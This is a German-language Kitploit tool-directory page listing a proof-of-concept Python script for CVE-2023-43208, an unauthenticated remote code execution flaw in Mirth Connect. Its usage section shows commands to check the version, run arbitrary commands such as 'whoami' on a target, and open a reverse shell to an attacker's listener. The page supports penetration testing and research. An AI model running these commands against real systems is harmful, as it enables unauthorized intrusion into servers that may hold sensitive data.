Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-43208-PoC — Proof‑of‑concept Python-Skript, das CVE‑2023‑43208 in Mirth Connect demonstriert und Versionsprüfungen sowie Befehlsausführung auf anfälligen Instanzen ermöglicht. | Kitploit
Tools/GitHubGitHub/criz117/cve-2023-43208-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubcriz117/cve-2023-43208-poc

CVE-2023-43208-PoC

Proof‑of‑concept Python-Skript, das CVE‑2023‑43208 in Mirth Connect demonstriert und Versionsprüfungen sowie Befehlsausführung auf anfälligen Instanzen ermöglicht.

Repository anzeigen
1vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-43208 - Mirth Connect Nicht authentifizierte RCE

Voraussetzungen

  • Python 3.11 oder höher (getestet auf 3.11, 3.12, 3.13)

Einrichtung

root@kitploit:~
# Create a clean virtual environment
python3 -m venv .venv
source .venv/bin/activate

# Install pinned dependencies
pip install -r requirements.txt

Verwendung

root@kitploit:~
# Check version only
python3 CVE-2023-43208.py -u https://TARGET/ --check

# Execute a single command
python3 CVE-2023-43208.py -u https://TARGET/ -c "whoami"

# Reverse shell (start nc listener first)
python3 CVE-2023-43208.py -u https://TARGET/ -l LHOST -p LPORT

Hinweise

  • Eine 500-Antwort des Servers ist normal und zu erwarten — der Befehl wird trotzdem ausgeführt
  • Betrifft Mirth Connect < 4.4.1
  • Haftungsausschluss

    Dieser Proof-of-Concept dient ausschließlich Forschungs- und Bildungszwecken. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch diesen Code verursacht werden.

    Tool herunterladen